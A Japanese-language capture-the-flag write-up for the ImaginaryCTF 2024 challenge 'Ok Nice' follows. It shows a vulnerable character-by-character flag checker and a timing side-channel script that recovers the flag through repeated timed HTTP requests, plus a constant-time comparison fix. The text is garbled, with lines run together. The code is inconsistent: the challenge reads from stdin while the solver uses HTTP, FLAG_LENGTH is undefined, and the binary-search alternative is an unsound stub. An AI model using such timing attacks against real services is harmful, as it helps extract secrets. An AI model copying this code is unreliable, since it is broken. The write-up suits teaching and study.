ImaginaryCTF 2024 - Ok Nice
Challenge
フラグの各文字を推測するタイミング攻撃問題。
import time
flag = open('flag.txt').read().strip()
while True: guess = input("Guess: ") if len(guess) != len(flag): print("Wrong length!") continue
for i, (g, f) in enumerate(zip(guess, flag)): if g != f: print(f"Wrong at position {i}") break time.sleep(0.1) # 正解文字ごとに遅延 else: print("Correct!") breakSolution
タイミング攻撃
応答時間の差からフラグを1文字ずつ特定:
import requestsimport timeimport string
url = "http://challenge.example.com/"
flag = "ictf{"while not flag.endswith("}"): best_char = "" best_time = 0
for c in string.printable: guess = flag + c + "x" * (FLAG_LENGTH - len(flag) - 1)
start = time.time() r = requests.post(url, data={"guess": guess}) elapsed = time.time() - start
if elapsed > best_time: best_time = elapsed best_char = c
flag += best_char print(f"Found: {flag}")ord() による数値化
# ord() で文字を数値に変換してサイドチャネルvalue = ord(flag[position])# 数値を時間遅延やレスポンス長に変換Technical Details
タイミングサイドチャネル
早期リターン (early return) パターンは、正解文字数に応じて処理時間が変化:
# 脆弱なパターンfor i in range(len(input)): if input[i] != secret[i]: return False # 不一致で即リターン # 正解なら次の文字へreturn True対策
# 定数時間比較import hmachmac.compare_digest(input, secret)Alternative Solutions
別解1: エラーメッセージベース
位置情報がエラーメッセージに含まれる場合:
# "Wrong at position 5" → 5文字目まで正解別解2: バイナリサーチ
応答時間を使った効率的な探索:
# 各位置で二分探索low, high = 32, 126while low < high: mid = (low + high) // 2 # mid を使ってテストFlag
ictf{...}
References
- ImaginaryCTF 2024 Official
- Timing Attack Wikipedia